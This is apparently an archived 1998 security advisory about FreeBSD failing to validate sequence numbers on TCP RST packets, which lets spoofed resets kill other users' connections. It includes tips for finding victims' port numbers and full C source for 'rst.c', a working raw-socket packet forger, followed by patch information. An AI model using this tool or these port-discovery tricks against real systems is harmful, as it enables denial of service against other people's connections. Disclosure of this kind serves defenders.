COMMAND

    RST validation

SYSTEMS AFFECTED

    FreeBSD 2.2.x (before 2.2.8R), FreeBSD-stable and  FreeBSD-current
    before the correction date.

PROBLEM

    TCP/IP connections are controlled through a series of packets that
    are receieved  by the  two computers  involved in  the connection.
    Old,  stale  connections  are  reset  with  a  packet called a RST
    packet.  The RST packets have a sequence number in them that  must
    be valid according  to certain rules  in the standards.   A denail
    of service attack can be launched against FreeBSD systems  running
    without one of the patches supplied later in this message.   Using
    a flaw in the interpreation of sequence numbers in the RST packet,
    malicious users can terminate connections of other users at will.

    This was found by Tristan Horn.  RFC 793, pages 36-39 (chap.  3.5)
    describes closing connections with TCP.  Page 37 is of  particular
    interest:

        Reset Processing

        In all states  except SYN-SENT, all  reset (RST) segments  are
        validated by checking their SEQ-fields.   A reset is valid  if
        its sequence number is in  the window.  In the  SYN-SENT state
        (a RST  received in  response to  an initial  SYN), the RST is
        acceptable if the ACK field acknowledges the SYN.

    Unfortunately, FreeBSD  does not  appear to  validate RST segments
    to this extent.  In  other words, only the packets'  IP/port pairs
    are  checked.   In  limited  testing  Solaris,  OSF/1,  Linux  and
    Windows 98  appear to  conform to  RFC 793  in this  regard.  This
    problem gets worse when you  bring it to multi-user FreeBSD  boxes
    where netstat,  systat -net,  lsof (if  improperly configured) and
    the like can be  used to get all  IP/port pairs in use.   In cases
    where  you  only  have  the  port  number  for  one  side  of  the
    connection, exploiting the vulnerability is still fairly  trivial.
    In many (most?) cases, port 0  bind()s will start you off at  port
    1024 and  increment by  one from  there.   Kudos to  the OSes that
    already use random or pseudorandom source ports...  If the  target
    is an IRC server  or uses TCP wrappers,  chances are that you  can
    telnet to it and you'll get a connection back to your ident  port.
    This will give you the high port.  IRC in particular will probably
    be  affected,  due  to  the  ease  of  getting addresses and such.
    /stats L even used to give you the port numbers for users, servers
    and listening sockets, but I  believe this was fixed in  /hybrid a
    while back, and then  +CS.  /stats c  should just be disabled  for
    non-opers since it lets people find the port # for autoconnects.

    SSH and similar secure sessions are in great danger because  ports
    are  manually  bound  to,  starting  at 1023 and decrementing from
    there.

    BSD exploit code is below.   Note that 'dstaddr' is where the  RST
    packet is  actually sent,  so it  must be  the address  of a buggy
    machine.

    /* rst.c -- based on:
         land.c by m3lt, FLC
         crashes a win95 box
         Ported by blast and jerm to 44BSD*/

    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_icmp.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <errno.h>


    /* #include <netinet/ip_tcp.h> */
    /* #include <netinet/protocols.h> */

    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };

    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;

            for(i=0;i<(length>>1);i++)
                    value+=data[i];

            if((length&1)==1)
                    value+=(data[i]<<8);

            value=(value&65535)+(value>>16);

            return(~value);
    }

    int main(int argc,char * * argv)
    {
            struct sockaddr_in src, dst;
            struct hostent * hoste;
            int sock,foo;
            char buffer[40];
            struct ip * ipheader=(struct ip *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
            struct pseudohdr pseudoheader;

            fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n");

            if(argc<5)
            {
                    fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]);
                    return(-1);
            }

            bzero(&src,sizeof(struct sockaddr_in));
            bzero(&dst,sizeof(struct sockaddr_in));
            src.sin_family=AF_INET;
            dst.sin_family=AF_INET;

            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length);
            else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }

            if((src.sin_port=htons(atoi(argv[2])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[2]);
                    return(-1);
            }

            if((hoste=gethostbyname(argv[3]))!=NULL)
                    bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length);
            else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[3]);
                    return(-1);
            }

            if((dst.sin_port=htons(atoi(argv[4])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[4]);
                    return(-1);
            }

            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }

            foo=1;
            if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
            {
                    fprintf(stderr,"couldn't set raw header on socket\n");
                    return(-1);
            }

            bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
            ipheader->ip_v=4;
            ipheader->ip_hl=sizeof(struct ip)/4;
            ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
            ipheader->ip_id=htons(0xF1C);
            ipheader->ip_ttl=255;
            ipheader->ip_p=IPPROTO_TCP;
            ipheader->ip_src=src.sin_addr;
            ipheader->ip_dst=dst.sin_addr;

            tcpheader->th_sport=src.sin_port;
            tcpheader->th_dport=dst.sin_port;
            tcpheader->th_seq=htonl(0xF1C);
            tcpheader->th_flags=TH_RST;
            tcpheader->th_off=sizeof(struct tcphdr)/4;
            tcpheader->th_win=htons(2048);

            bzero(&pseudoheader,12+sizeof(struct tcphdr));
            pseudoheader.saddr=src.sin_addr;
            pseudoheader.daddr=dst.sin_addr;
            pseudoheader.protocol=6;
            pseudoheader.length=htons(sizeof(struct tcphdr));
            bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
            tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

            if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1)
            {
                    fprintf(stderr,"couldn't send packet,%d\n",errno);
                    return(-1);
            }

            fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]);

            close(sock);
            return(0);
    }

SOLUTION

    This  was  corrected  in  FreeBSD-current  as  of  1998/09/11  and
    FreeBSD-stable as of 1998/09/16.  Patches can be obtained via:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:07/